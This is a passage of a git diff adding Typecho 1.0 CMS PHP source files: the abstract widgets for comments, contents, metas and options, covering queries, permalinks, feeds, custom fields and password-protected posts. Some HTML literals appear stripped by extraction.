($this->have() && ($this->user->pass('editor', true) || $this->ownerId == $this->user->uid)) { + return true; + } + } else { + $post = $this->db->fetchRow($condition->select('ownerId')->from('table.comments')->limit(1)); + + if ($post && ($this->user->pass('editor', true) || $post['ownerId'] == $this->user->uid)) { + return true; + } + } + + return false; + } + + /** + * 按照条件计算评论数量 + * + * @access public + * @param Typecho_Db_Query $condition 查询对象 + * @return integer + */ + public function size(Typecho_Db_Query $condition) + { + return $this->db->fetchObject($condition->select(array('COUNT(coid)' => 'num'))->from('table.comments'))->num; + } + + /** + * 通用过滤器 + * + * @access public + * @param array $value 需要过滤的行数据 + * @return array + */ + public function filter(array $value) + { + $value['date'] = new Typecho_Date($value['created']); + $value = $this->pluginHandle(__CLASS__)->filter($value, $this); + return $value; + } + + /** + * 将每行的值压入堆栈 + * + * @access public + * @param array $value 每行的值 + * @return array + */ + public function push(array $value) + { + $value = $this->filter($value); + return parent::push($value); + } + + /** + * 输出文章发布日期 + * + * @access public + * @param string $format 日期格式 + * @return void + */ + public function date($format = NULL) + { + echo $this->date->format(empty($format) ? $this->options->commentDateFormat : $format); + } + + /** + * 输出作者相关 + * + * @access public + * @param boolean $autoLink 是否自动加上链接 + * @param boolean $noFollow 是否加上nofollow标签 + * @return void + */ + public function author($autoLink = NULL, $noFollow = NULL) + { + $autoLink = (NULL === $autoLink) ? $this->options->commentsShowUrl : $autoLink; + $noFollow = (NULL === $noFollow) ? $this->options->commentsUrlNofollow : $noFollow; + + if ($this->url && $autoLink) { + echo '' , $this->author , ''; + } else { + echo $this->author; + } + } + + /** + * 调用gravatar输出用户头像 + * + * @access public + * @param integer $size 头像尺寸 + * @param string $default 默认输出头像 + * @return void + */ + public function gravatar($size = 32, $default = NULL) + { + if ($this->options->commentsAvatar && 'comment' == $this->type) { + $rating = $this->options->commentsAvatarRating; + + $this->pluginHandle(__CLASS__)->trigger($plugged)->gravatar($size, $rating, $default, $this); + if (!$plugged) { + $url = Typecho_Common::gravatarUrl($this->mail, $size, $rating, $default, $this->request->isSecure()); + echo '' .
+                $this->author . ''; + } + } + } + + /** + * 输出评论摘要 + * + * @access public + * @param integer $length 摘要截取长度 + * @param string $trim 摘要后缀 + * @return void + */ + public function excerpt($length = 100, $trim = '...') + { + echo Typecho_Common::subStr(strip_tags($this->content), 0, $length, $trim); + } + + /** + * autoP + * + * @param mixed $text + * @access public + * @return void + */ + public function autoP($text) + { + $html = $this->pluginHandle(__CLASS__)->trigger($parsed)->autoP($text); + + if (!$parsed) { + static $parser; + + if (empty($parser)) { + $parser = new AutoP(); + } + + $html = $parser->parse($text); + } + + return $html; + } + + /** + * markdown + * + * @param mixed $text + * @access public + * @return void + */ + public function markdown($text) + { + $html = $this->pluginHandle(__CLASS__)->trigger($parsed)->markdown($text); + + if (!$parsed) { + $html = Markdown::convert($text); + } + + return $html; + } +} + diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Abstract/Contents.php b/Typecho/1.0/php-fpm/src/var/Widget/Abstract/Contents.php new file mode 100755 index 000000000..08e241267 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Abstract/Contents.php @@ -0,0 +1,968 @@ +db->fetchAll($this->db + ->select()->from('table.metas') + ->join('table.relationships', 'table.relationships.mid = table.metas.mid') + ->where('table.relationships.cid = ?', $this->cid) + ->where('table.metas.type = ?', 'tag'), array($this->widget('Widget_Abstract_Metas'), 'filter')); + } + + /** + * 文章作者 + * + * @access protected + * @return Typecho_Config + */ + protected function ___author() + { + return $this->widget('Widget_Users_Author@' . $this->cid, array('uid' => $this->authorId)); + } + + /** + * 获取词义化日期 + * + * @access protected + * @return string + */ + protected function ___dateWord() + { + return $this->date->word(); + } + + /** + * 获取父id + * + * @access protected + * @return string + */ + protected function ___parentId() + { + return $this->row['parent']; + } + + /** + * 对文章的简短纯文本描述 + * + * @access protected + * @return string + */ + protected function ___description() + { + $plainTxt = str_replace("\n", '', trim(strip_tags($this->excerpt))); + $plainTxt = $plainTxt ? $plainTxt : $this->title; + return Typecho_Common::subStr($plainTxt, 0, 100, '...'); + } + + /** + * ___fields + * + * @access protected + * @return Typecho_Config + */ + protected function ___fields() + { + $fields = array(); + $rows = $this->db->fetchAll($this->db->select()->from('table.fields') + ->where('cid = ?', $this->cid)); + + foreach ($rows as $row) { + $fields[$row['name']] = $row[$row['type'] . '_value']; + } + + return new Typecho_Config($fields); + } + + /** + * 获取文章内容摘要 + * + * @access protected + * @return string + */ + protected function ___excerpt() + { + if ($this->hidden) { + return $this->text; + } + + $content = $this->pluginHandle(__CLASS__)->trigger($plugged)->excerpt($this->text, $this); + if (!$plugged) { + $content = $this->isMarkdown ? $this->markdown($content) + : $this->autoP($content); + } + + $contents = explode('', $content); + list($excerpt) = $contents; + + return Typecho_Common::fixHtml($this->pluginHandle(__CLASS__)->excerptEx($excerpt, $this)); + } + + /** + * 获取文章内容 + * + * @access protected + * @return string + */ + protected function ___content() + { + if ($this->hidden) { + return $this->text; + } + + $content = $this->pluginHandle(__CLASS__)->trigger($plugged)->content($this->text, $this); + + if (!$plugged) { + $content = $this->isMarkdown ? $this->markdown($content) + : $this->autoP($content); + } + + return $this->pluginHandle(__CLASS__)->contentEx($content, $this); + } + + /** + * 输出文章的第一行作为摘要 + * + * @return string + */ + protected function ___summary() + { + $content = $this->content; + $parts = preg_split("/(<\/\s*(?:p|blockquote|q|pre|table)\s*>)/i", $content, 2, PREG_SPLIT_DELIM_CAPTURE); + if (!empty($parts)) { + $content = $parts[0] . $parts[1]; + } + + return $content; + } + + /** + * 锚点id + * + * @access protected + * @return string + */ + protected function ___theId() + { + return $this->type . '-' . $this->cid; + } + + /** + * 回复框id + * + * @access protected + * @return string + */ + protected function ___respondId() + { + return 'respond-' . $this->theId; + } + + /** + * 评论地址 + * + * @access protected + * @return string + */ + protected function ___commentUrl() + { + /** 生成反馈地址 */ + /** 评论 */ + return Typecho_Router::url('feedback', + array('type' => 'comment', 'permalink' => $this->pathinfo), $this->options->index); + } + + /** + * trackback地址 + * + * @access protected + * @return string + */ + protected function ___trackbackUrl() + { + return Typecho_Router::url('feedback', + array('type' => 'trackback', 'permalink' => $this->pathinfo), $this->options->index); + } + + /** + * 回复地址 + * + * @access protected + * @return string + */ + protected function ___responseUrl() + { + return $this->permalink . '#' . $this->respondId; + } + + /** + * 获取页面偏移 + * + * @access protected + * @param string $column 字段名 + * @param integer $offset 偏移值 + * @param string $type 类型 + * @param string $status 状态值 + * @param integer $authorId 作者 + * @param integer $pageSize 分页值 + * @return integer + */ + protected function getPageOffset($column, $offset, $type, $status = NULL, $authorId = 0, $pageSize = 20) + { + $select = $this->db->select(array('COUNT(table.contents.cid)' => 'num'))->from('table.contents') + ->where("table.contents.{$column} > {$offset}") + ->where("table.contents.type = ?", $type); + + if (!empty($status)) { + $select->where("table.contents.status = ?", $status); + } + + if ($authorId > 0) { + $select->where('table.contents.authorId = ?', $authorId); + } + + $count = $this->db->fetchObject($select)->num + 1; + return ceil($count / $pageSize); + } + + /** + * 获取查询对象 + * + * @access public + * @return Typecho_Db_Query + */ + public function select() + { + return $this->db->select('table.contents.cid', 'table.contents.title', 'table.contents.slug', 'table.contents.created', 'table.contents.authorId', + 'table.contents.modified', 'table.contents.type', 'table.contents.status', 'table.contents.text', 'table.contents.commentsNum', 'table.contents.order', + 'table.contents.template', 'table.contents.password', 'table.contents.allowComment', 'table.contents.allowPing', 'table.contents.allowFeed', + 'table.contents.parent')->from('table.contents'); + } + + /** + * 插入内容 + * + * @access public + * @param array $content 内容数组 + * @return integer + */ + public function insert(array $content) + { + /** 构建插入结构 */ + $insertStruct = array( + 'title' => empty($content['title']) ? NULL : htmlspecialchars($content['title']), + 'created' => empty($content['created']) ? $this->options->gmtTime : $content['created'], + 'modified' => $this->options->gmtTime, + 'text' => empty($content['text']) ? NULL : $content['text'], + 'order' => empty($content['order']) ? 0 : intval($content['order']), + 'authorId' => isset($content['authorId']) ? $content['authorId'] : $this->user->uid, + 'template' => empty($content['template']) ? NULL : $content['template'], + 'type' => empty($content['type']) ? 'post' : $content['type'], + 'status' => empty($content['status']) ? 'publish' : $content['status'], + 'password' => empty($content['password']) ? NULL : $content['password'], + 'commentsNum' => empty($content['commentsNum']) ? 0 : $content['commentsNum'], + 'allowComment' => !empty($content['allowComment']) && 1 == $content['allowComment'] ? 1 : 0, + 'allowPing' => !empty($content['allowPing']) && 1 == $content['allowPing'] ? 1 : 0, + 'allowFeed' => !empty($content['allowFeed']) && 1 == $content['allowFeed'] ? 1 : 0, + 'parent' => empty($content['parent']) ? 0 : intval($content['parent']) + ); + + if (!empty($content['cid'])) { + $insertStruct['cid'] = $content['cid']; + } + + /** 首先插入部分数据 */ + $insertId = $this->db->query($this->db->insert('table.contents')->rows($insertStruct)); + + /** 更新缩略名 */ + if ($insertId > 0) { + $this->applySlug(empty($content['slug']) ? NULL : $content['slug'], $insertId); + } + + return $insertId; + } + + /** + * 更新内容 + * + * @access public + * @param array $content 内容数组 + * @param Typecho_Db_Query $condition 更新条件 + * @return integer + */ + public function update(array $content, Typecho_Db_Query $condition) + { + /** 首先验证写入权限 */ + if (!$this->isWriteable(clone $condition)) { + return false; + } + + /** 构建更新结构 */ + $preUpdateStruct = array( + 'title' => empty($content['title']) ? NULL : htmlspecialchars($content['title']), + 'order' => empty($content['order']) ? 0 : intval($content['order']), + 'text' => empty($content['text']) ? NULL : $content['text'], + 'template' => empty($content['template']) ? NULL : $content['template'], + 'type' => empty($content['type']) ? 'post' : $content['type'], + 'status' => empty($content['status']) ? 'publish' : $content['status'], + 'password' => empty($content['password']) ? NULL : $content['password'], + 'allowComment' => !empty($content['allowComment']) && 1 == $content['allowComment'] ? 1 : 0, + 'allowPing' => !empty($content['allowPing']) && 1 == $content['allowPing'] ? 1 : 0, + 'allowFeed' => !empty($content['allowFeed']) && 1 == $content['allowFeed'] ? 1 : 0, + 'parent' => empty($content['parent']) ? 0 : intval($content['parent']) + ); + + $updateStruct = array(); + foreach ($content as $key => $val) { + if (array_key_exists($key, $preUpdateStruct)) { + $updateStruct[$key] = $preUpdateStruct[$key]; + } + } + + /** 更新创建时间 */ + if (!empty($content['created'])) { + $updateStruct['created'] = $content['created']; + } + + $updateStruct['modified'] = $this->options->gmtTime; + + /** 首先插入部分数据 */ + $updateCondition = clone $condition; + $updateRows = $this->db->query($condition->update('table.contents')->rows($updateStruct)); + + /** 更新缩略名 */ + if ($updateRows > 0 && isset($content['slug'])) { + $this->applySlug(empty($content['slug']) ? NULL : $content['slug'], $updateCondition); + } + + return $updateRows; + } + + /** + * 删除内容 + * + * @access public + * @param Typecho_Db_Query $condition 查询对象 + * @return integer + */ + public function delete(Typecho_Db_Query $condition) + { + return $this->db->query($condition->delete('table.contents')); + } + + /** + * 为内容应用缩略名 + * + * @access public + * @param string $slug 缩略名 + * @param mixed $cid 内容id + * @return string + */ + public function applySlug($slug, $cid) + { + if ($cid instanceof Typecho_Db_Query) { + $cid = $this->db->fetchObject($cid->select('cid') + ->from('table.contents')->limit(1))->cid; + } + + /** 生成一个非空的缩略名 */ + $slug = Typecho_Common::slugName($slug, $cid); + $result = $slug; + + /** 对草稿的slug做特殊处理 */ + $draft = $this->db->fetchObject($this->db->select('type', 'parent') + ->from('table.contents')->where('cid = ?', $cid)); + + if ('_draft' == substr($draft->type, -6) && $draft->parent) { + $result = '@' . $result; + } + + + /** 判断是否在数据库中已经存在 */ + $count = 1; + while ($this->db->fetchObject($this->db->select(array('COUNT(cid)' => 'num')) + ->from('table.contents')->where('slug = ? AND cid <> ?', $result, $cid))->num > 0) { + $result = $slug . '-' . $count; + $count ++; + } + + $this->db->query($this->db->update('table.contents')->rows(array('slug' => $result)) + ->where('cid = ?', $cid)); + + return $result; + } + + /** + * 删除自定义字段 + * + * @param integer $cid + * @access public + * @return integer + */ + public function deleteFields($cid) + { + return $this->db->query($this->db->delete('table.fields') + ->where('cid = ?', $cid)); + } + + /** + * 检查字段名是否符合要求 + * + * @param string $name + * @access public + * @return boolean + */ + public function checkFieldName($name) + { + return preg_match("/^[_a-z][_a-z0-9]*$/i", $name); + } + + /** + * 保存自定义字段 + * + * @param array $fields + * @param mixed $cid + * @access public + * @return void + */ + public function applyFields(array $fields, $cid) + { + $exists = array_flip(Typecho_Common::arrayFlatten($this->db->fetchAll($this->db->select('name') + ->from('table.fields')->where('cid = ?', $cid)), 'name')); + + foreach ($fields as $name => $value) { + $type = 'str'; + + if (is_array($value) && 2 == count($value)) { + $type = $value[0]; + $value = $value[1]; + } else if (strpos($name, ':') > 0) { + list ($type, $name) = explode(':', $name, 2); + } + + if (!$this->checkFieldName($name)) { + continue; + } + + $isFieldReadOnly = $this->pluginHandle(__CLASS__)->trigger($plugged)->isFieldReadOnly($name); + if ($plugged && $isFieldReadOnly) { + continue; + } + + if (isset($exists[$name])) { + unset($exists[$name]); + } + + $this->setField($name, $type, $value, $cid); + } + + foreach ($exists as $name => $value) { + $this->db->query($this->db->delete('table.fields') + ->where('cid = ? AND name = ?', $cid, $name)); + } + } + + /** + * 设置单个字段 + * + * @param string $name + * @param string $type + * @param string $value + * @param integer $cid + * @access public + * @return integer + */ + public function setField($name, $type, $value, $cid) + { + if (empty($name) || !$this->checkFieldName($name) + || !in_array($type, array('str', 'int', 'float'))) { + return false; + } + + $exist = $this->db->fetchRow($this->db->select('cid')->from('table.fields') + ->where('cid = ? AND name = ?', $cid, $name)); + + if (empty($exist)) { + return $this->db->query($this->db->insert('table.fields') + ->rows(array( + 'cid' => $cid, + 'name' => $name, + 'type' => $type, + 'str_value' => 'str' == $type ? $value : NULL, + 'int_value' => 'int' == $type ? intval($value) : 0, + 'float_value' => 'float' == $type ? floatval($value) : 0 + ))); + } else { + return $this->db->query($this->db->update('table.fields') + ->rows(array( + 'type' => $type, + 'str_value' => 'str' == $type ? $value : NULL, + 'int_value' => 'int' == $type ? intval($value) : 0, + 'float_value' => 'float' == $type ? floatval($value) : 0 + )) + ->where('cid = ? AND name = ?', $cid, $name)); + } + } + + /** + * 自增一个整形字段 + * + * @param string $name + * @param integer $value + * @param integer $cid + * @access public + * @return integer + */ + public function incrIntField($name, $value, $cid) + { + if (!$this->checkFieldName($name)) { + return false; + } + + $exist = $this->db->fetchRow($this->db->select('type')->from('table.fields') + ->where('cid = ? AND name = ?', $cid, $name)); + $value = intval($value); + + if (empty($exist)) { + return $this->db->query($this->db->insert('table.fields') + ->rows(array( + 'cid' => $cid, + 'name' => $name, + 'type' => 'int', + 'str_value' => NULL, + 'int_value' => $value, + 'float_value' => 0 + ))); + } else { + $struct = array( + 'str_value' => NULL, + 'float_value' => NULL + ); + + if ('int' != $exist['type']) { + $struct['type'] = 'int'; + } + + return $this->db->query($this->db->update('table.fields') + ->rows($struct) + ->expression('int_value', 'int_value ' . ($value >= 0 ? '+' : '') . $value) + ->where('cid = ? AND name = ?', $cid, $name)); + } + } + + /** + * 内容是否可以被修改 + * + * @access public + * @param Typecho_Db_Query $condition 条件 + * @return mixed + */ + public function isWriteable(Typecho_Db_Query $condition) + { + $post = $this->db->fetchRow($condition->select('authorId')->from('table.contents')->limit(1)); + return $post && ($this->user->pass('editor', true) || $post['authorId'] == $this->user->uid); + } + + /** + * 按照条件计算内容数量 + * + * @access public + * @param Typecho_Db_Query $condition 查询对象 + * @return integer + */ + public function size(Typecho_Db_Query $condition) + { + return $this->db->fetchObject($condition + ->select(array('COUNT(DISTINCT table.contents.cid)' => 'num')) + ->from('table.contents') + ->cleanAttribute('group'))->num; + } + + /** + * 获取当前所有自定义模板 + * + * @access public + * @return array + */ + public function getTemplates() + { + $files = glob($this->options->themeFile($this->options->theme, '*.php')); + $result = array(); + + foreach ($files as $file) { + $info = Typecho_Plugin::parseInfo($file); + $file = basename($file); + + if ('index.php' != $file && 'custom' == $info['title']) { + $result[$file] = $info['description']; + } + } + + return $result; + } + + /** + * 通用过滤器 + * + * @access public + * @param array $value 需要过滤的行数据 + * @return array + * @throws Typecho_Widget_Exception + */ + public function filter(array $value) + { + /** 取出所有分类 */ + $value['categories'] = $this->db->fetchAll($this->db + ->select()->from('table.metas') + ->join('table.relationships', 'table.relationships.mid = table.metas.mid') + ->where('table.relationships.cid = ?', $value['cid']) + ->where('table.metas.type = ?', 'category') + ->order('table.metas.order', Typecho_Db::SORT_ASC), array($this->widget('Widget_Metas_Category_List'), 'filter')); + $value['category'] = NULL; + $value['directory'] = array(); + + /** 取出第一个分类作为slug条件 */ + if (!empty($value['categories'])) { + $value['category'] = $value['categories'][0]['slug']; + + $value['directory'] = $this->widget('Widget_Metas_Category_List')->getAllParents($value['categories'][0]['mid']); + $value['directory'][] = $value['category']; + } + + $value['date'] = new Typecho_Date($value['created']); + + /** 生成日期 */ + $value['year'] = $value['date']->year; + $value['month'] = $value['date']->month; + $value['day'] = $value['date']->day; + + /** 生成访问权限 */ + $value['hidden'] = false; + + /** 获取路由类型并判断此类型在路由表中是否存在 */ + $type = $value['type']; + $routeExists = (NULL != Typecho_Router::get($type)); + + $tmpSlug = $value['slug']; + $tmpCategory = $value['category']; + $tmpDirectory = $value['directory']; + $value['slug'] = urlencode($value['slug']); + $value['category'] = urlencode($value['category']); + $value['directory'] = implode('/', array_map('urlencode', $value['directory'])); + + /** 生成静态路径 */ + $value['pathinfo'] = $routeExists ? Typecho_Router::url($type, $value) : '#'; + + /** 生成静态链接 */ + $value['permalink'] = Typecho_Common::url($value['pathinfo'], $this->options->index); + + /** 处理附件 */ + if ('attachment' == $type) { + $content = @unserialize($value['text']); + + //增加数据信息 + $value['attachment'] = new Typecho_Config($content); + $value['attachment']->isImage = in_array($content['type'], array('jpg', 'jpeg', 'gif', 'png', 'tiff', 'bmp')); + $value['attachment']->url = Widget_Upload::attachmentHandle($value); + + if ($value['attachment']->isImage) { + $value['text'] = '' .
+                $value['title'] . ''; + } else { + $value['text'] = '' . $value['title'] . ''; + } + } + + /** 处理Markdown **/ + $value['isMarkdown'] = (0 === strpos($value['text'], '')); + if ($value['isMarkdown']) { + $value['text'] = substr($value['text'], 15); + } + + /** 生成聚合链接 */ + /** RSS 2.0 */ + $value['feedUrl'] = $routeExists ? Typecho_Router::url($type, $value, $this->options->feedUrl) : '#'; + + /** RSS 1.0 */ + $value['feedRssUrl'] = $routeExists ? Typecho_Router::url($type, $value, $this->options->feedRssUrl) : '#'; + + /** ATOM 1.0 */ + $value['feedAtomUrl'] = $routeExists ? Typecho_Router::url($type, $value, $this->options->feedAtomUrl) : '#'; + + $value['slug'] = $tmpSlug; + $value['category'] = $tmpCategory; + $value['directory'] = $tmpDirectory; + + /** 处理密码保护流程 */ + if (!empty($value['password']) && + $value['password'] !== Typecho_Cookie::get('protectPassword') && + $value['authorId'] != $this->user->uid && + !$this->user->pass('editor', true)) { + $value['hidden'] = true; + + /** 抛出错误 */ + if ($this->request->isPost() && isset($this->request->protectPassword)) { + throw new Typecho_Widget_Exception(_t('对不起,您输入的密码错误'), 403); + } + } + + $value = $this->pluginHandle(__CLASS__)->filter($value, $this); + + /** 如果访问权限被禁止 */ + if ($value['hidden']) { + $value['text'] = '

    ' . + '

    ' . _t('请输入密码访问') . '

    ' . + '

    +

    ' . + '
    '; + + $value['title'] = _t('此内容被密码保护'); + $value['tags'] = array(); + $value['commentsNum'] = 0; + } + + return $value; + } + + /** + * 将每行的值压入堆栈 + * + * @access public + * @param array $value 每行的值 + * @return array + */ + public function push(array $value) + { + $value = $this->filter($value); + return parent::push($value); + } + + /** + * 输出文章发布日期 + * + * @access public + * @param string $format 日期格式 + */ + public function date($format = NULL) + { + echo $this->date->format(empty($format) ? $this->options->postDateFormat : $format); + } + + /** + * 输出文章内容 + * + * @access public + * @param mixed $more 文章截取后缀 + */ + public function content($more = false) + { + echo false !== $more && false !== strpos($this->text, '') ? + $this->excerpt . "

    permalink}\" title=\"{$this->title}\">{$more}

    " : $this->content; + } + + /** + * 输出文章摘要 + * + * @access public + * @param integer $length 摘要截取长度 + * @param string $trim 摘要后缀 + */ + public function excerpt($length = 100, $trim = '...') + { + echo Typecho_Common::subStr(strip_tags($this->excerpt), 0, $length, $trim); + } + + /** + * 输出标题 + * + * @access public + * @param integer $length 标题截取长度 + * @param string $trim 截取后缀 + */ + public function title($length = 0, $trim = '...') + { + $title = $this->pluginHandle()->trigger($plugged)->title($this->title, $this); + if (!$plugged) { + echo $length > 0 ? Typecho_Common::subStr($this->title, 0, $length, $trim) : $this->title; + } else { + echo $title; + } + } + + /** + * 输出文章评论数 + * + * @access public + */ + public function commentsNum() + { + $args = func_get_args(); + if (!$args) { + $args[] = '%d'; + } + + $num = intval($this->commentsNum); + + echo sprintf(isset($args[$num]) ? $args[$num] : array_pop($args), $num); + } + + /** + * 获取文章权限 + * + * @access public + */ + public function allow() + { + $permissions = func_get_args(); + $allow = true; + + foreach ($permissions as $permission) { + $permission = strtolower($permission); + + if ('edit' == $permission) { + $allow &= ($this->user->pass('editor', true) || $this->authorId == $this->user->uid); + } else { + /** 对自动关闭反馈功能的支持 */ + if (('ping' == $permission || 'comment' == $permission) && $this->options->commentsPostTimeout > 0 && + $this->options->commentsAutoClose) { + if ($this->options->gmtTime - $this->created > $this->options->commentsPostTimeout) { + return false; + } + } + + $allow &= ($this->row['allow' . ucfirst($permission)] == 1) and !$this->hidden; + } + } + + return $allow; + } + + /** + * 输出文章分类 + * + * @access public + * @param string $split 多个分类之间分隔符 + * @param boolean $link 是否输出链接 + * @param string $default 如果没有则输出 + * @return void + */ + public function category($split = ',', $link = true, $default = NULL) + { + $categories = $this->categories; + if ($categories) { + $result = array(); + + foreach ($categories as $category) { + $result[] = $link ? '' + . $category['name'] . '' : $category['name']; + } + + echo implode($split, $result); + } else { + echo $default; + } + } + + /** + * 输出文章标签 + * + * @access public + * @param string $split 多个标签之间分隔符 + * @param boolean $link 是否输出链接 + * @param string $default 如果没有则输出 + * @return void + */ + public function tags($split = ',', $link = true, $default = NULL) + { + /** 取出tags */ + if ($this->tags) { + $result = array(); + foreach ($this->tags as $tag) { + $result[] = $link ? '' + . $tag['name'] . '' : $tag['name']; + } + + echo implode($split, $result); + } else { + echo $default; + } + } + + /** + * 输出当前作者 + * + * @access public + * @param string $item 需要输出的项目 + * @return void + */ + public function author($item = 'screenName') + { + echo $this->author->{$item}; + } + + /** + * autoP + * + * @param mixed $text + * @access public + * @return void + */ + public function autoP($text) + { + $html = $this->pluginHandle(__CLASS__)->trigger($parsed)->autoP($text); + + if (!$parsed) { + static $parser; + + if (empty($parser)) { + $parser = new AutoP(); + } + + $html = $parser->parse($text); + } + + return $html; + } + + /** + * markdown + * + * @param mixed $text + * @access public + * @return void + */ + public function markdown($text) + { + $html = $this->pluginHandle(__CLASS__)->trigger($parsed)->markdown($text); + + if (!$parsed) { + $html = Markdown::convert($text); + } + + return $html; + } +} + diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Abstract/Metas.php b/Typecho/1.0/php-fpm/src/var/Widget/Abstract/Metas.php new file mode 100755 index 000000000..08a9256bb --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Abstract/Metas.php @@ -0,0 +1,300 @@ +type . '-' . $this->mid; + } + + /** + * 获取原始查询对象 + * + * @access public + * @return Typecho_Db_Query + */ + public function select() + { + return $this->db->select()->from('table.metas'); + } + + /** + * 插入一条记录 + * + * @access public + * @param array $options 记录插入值 + * @return integer + */ + public function insert(array $options) + { + return $this->db->query($this->db->insert('table.metas')->rows($options)); + } + + /** + * 更新记录 + * + * @access public + * @param array $options 记录更新值 + * @param Typecho_Db_Query $condition 更新条件 + * @return integer + */ + public function update(array $options, Typecho_Db_Query $condition) + { + return $this->db->query($condition->update('table.metas')->rows($options)); + } + + /** + * 删除记录 + * + * @access public + * @param Typecho_Db_Query $condition 删除条件 + * @return integer + */ + public function delete(Typecho_Db_Query $condition) + { + return $this->db->query($condition->delete('table.metas')); + } + + /** + * 获取记录总数 + * + * @access public + * @param Typecho_Db_Query $condition 计算条件 + * @return integer + */ + public function size(Typecho_Db_Query $condition) + { + return $this->db->fetchObject($condition->select(array('COUNT(mid)' => 'num'))->from('table.metas'))->num; + } + + /** + * 通用过滤器 + * + * @access public + * @param array $value 需要过滤的行数据 + * @return array + */ + public function filter(array $value) + { + //生成静态链接 + $type = $value['type']; + $routeExists = (NULL != Typecho_Router::get($type)); + $tmpSlug = $value['slug']; + $value['slug'] = urlencode($value['slug']); + + $value['permalink'] = $routeExists ? Typecho_Router::url($type, $value, $this->options->index) : '#'; + + /** 生成聚合链接 */ + /** RSS 2.0 */ + $value['feedUrl'] = $routeExists ? Typecho_Router::url($type, $value, $this->options->feedUrl) : '#'; + + /** RSS 1.0 */ + $value['feedRssUrl'] = $routeExists ? Typecho_Router::url($type, $value, $this->options->feedRssUrl) : '#'; + + /** ATOM 1.0 */ + $value['feedAtomUrl'] = $routeExists ? Typecho_Router::url($type, $value, $this->options->feedAtomUrl) : '#'; + + $value['slug'] = $tmpSlug; + $value = $this->pluginHandle(__CLASS__)->filter($value, $this); + return $value; + } + + /** + * 将每行的值压入堆栈 + * + * @access public + * @param array $value 每行的值 + * @return array + */ + public function push(array $value) + { + $value = $this->filter($value); + return parent::push($value); + } + + /** + * 获取最大排序 + * + * @param mixed $type + * @param int $parent + * @access public + * @return integer + */ + public function getMaxOrder($type, $parent = 0) + { + return $this->db->fetchObject($this->db->select(array('MAX(order)' => 'maxOrder')) + ->from('table.metas') + ->where('type = ? AND parent = ?', 'category', $parent))->maxOrder; + } + + /** + * 对数据按照sort字段排序 + * + * @access public + * @param array $metas + * @param string $type + * @return void + */ + public function sort(array $metas, $type) + { + foreach ($metas as $sort => $mid) { + $this->update(array('order' => $sort + 1), + $this->db->sql()->where('mid = ?', $mid)->where('type = ?', $type)); + } + } + + /** + * 合并数据 + * + * @access public + * @param integer $mid 数据主键 + * @param string $type 数据类型 + * @param array $metas 需要合并的数据集 + * @return void + */ + public function merge($mid, $type, array $metas) + { + $contents = Typecho_Common::arrayFlatten($this->db->fetchAll($this->select('cid') + ->from('table.relationships') + ->where('mid = ?', $mid)), 'cid'); + + foreach ($metas as $meta) { + if ($mid != $meta) { + $existsContents = Typecho_Common::arrayFlatten($this->db->fetchAll($this->db + ->select('cid')->from('table.relationships') + ->where('mid = ?', $meta)), 'cid'); + + $where = $this->db->sql()->where('mid = ? AND type = ?', $meta, $type); + $this->delete($where); + $diffContents = array_diff($existsContents, $contents); + $this->db->query($this->db->delete('table.relationships')->where('mid = ?', $meta)); + + foreach ($diffContents as $content) { + $this->db->query($this->db->insert('table.relationships') + ->rows(array('mid' => $mid, 'cid' => $content))); + $contents[] = $content; + } + + $this->update(array('parent' => $mid), $this->db->sql()->where('parent = ?', $meta)); + unset($existsContents); + } + } + + $num = $this->db->fetchObject($this->db + ->select(array('COUNT(mid)' => 'num'))->from('table.relationships') + ->where('table.relationships.mid = ?', $mid))->num; + + $this->update(array('count' => $num), $this->db->sql()->where('mid = ?', $mid)); + } + + /** + * 根据tag获取ID + * + * @access public + * @param mixed $inputTags 标签名 + * @return array + */ + public function scanTags($inputTags) + { + $tags = is_array($inputTags) ? $inputTags : array($inputTags); + $result = array(); + + foreach ($tags as $tag) { + if (empty($tag)) { + continue; + } + + $row = $this->db->fetchRow($this->select() + ->where('type = ?', 'tag') + ->where('name = ?', $tag)->limit(1)); + + if ($row) { + $result[] = $row['mid']; + } else { + $slug = Typecho_Common::slugName($tag); + + if ($slug) { + $result[] = $this->insert(array( + 'name' => $tag, + 'slug' => $slug, + 'type' => 'tag', + 'count' => 0, + 'order' => 0, + )); + } + } + } + + return is_array($inputTags) ? $result : current($result); + } + + /** + * 清理没有任何内容的标签 + * + * @access public + * @return void + */ + public function clearTags() + { + // 取出count为0的标签 + $tags = Typecho_Common::arrayFlatten($this->db->fetchAll($this->db->select('mid') + ->from('table.metas')->where('type = ? AND count = ?', 'tags', 0)), 'mid'); + + foreach ($tags as $tag) { + // 确认是否已经没有关联了 + $content = $this->db->fetchRow($this->db->select('cid') + ->from('table.relationships')->where('mid = ?', $tag) + ->limit(1)); + + if (empty($content)) { + $this->db->query($this->db->delete('table.metas') + ->where('mid = ?', $tag)); + } + } + } + + /** + * 根据内容的指定类别和状态更新相关meta的计数信息 + * + * @access public + * @param int $mid meta id + * @param string $type 类别 + * @param string $status 状态 + * @return void + */ + public function refreshCountByTypeAndStatus($mid, $type, $status = 'publish') + { + $num = $this->db->fetchObject($this->db->select(array('COUNT(table.contents.cid)' => 'num'))->from('table.contents') + ->join('table.relationships', 'table.contents.cid = table.relationships.cid') + ->where('table.relationships.mid = ?', $mid) + ->where('table.contents.type = ?', $type) + ->where('table.contents.status = ?', $status))->num; + + $this->db->query($this->db->update('table.metas')->rows(array('count' => $num)) + ->where('mid = ?', $mid)); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Abstract/Options.php b/Typecho/1.0/php-fpm/src/var/Widget/Abstract/Options.php new file mode 100755 index 000000000..1b8a7996a --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Abstract/Options.php @@ -0,0 +1,95 @@ +db->select()->from('table.options'); + } + + /** + * 插入一条记录 + * + * @access public + * @param array $options 记录插入值 + * @return integer + */ + public function insert(array $options) + { + return $this->db->query($this->db->insert('table.options')->rows($options)); + } + + /** + * 更新记录 + * + * @access public + * @param array $options 记录更新值 + * @param Typecho_Db_Query $condition 更新条件 + * @return integer + */ + public function update(array $options, Typecho_Db_Query $condition) + { + return $this->db->query($condition->update('table.options')->rows($options)); + } + + /** + * 删除记录 + * + * @access public + * @param Typecho_Db_Query $condition 删除条件 + * @return integer + */ + public function delete(Typecho_Db_Query $condition) + { + return $this->db->query($condition->delete('table.options')); + } + + /** + * 获取记录总数 + * 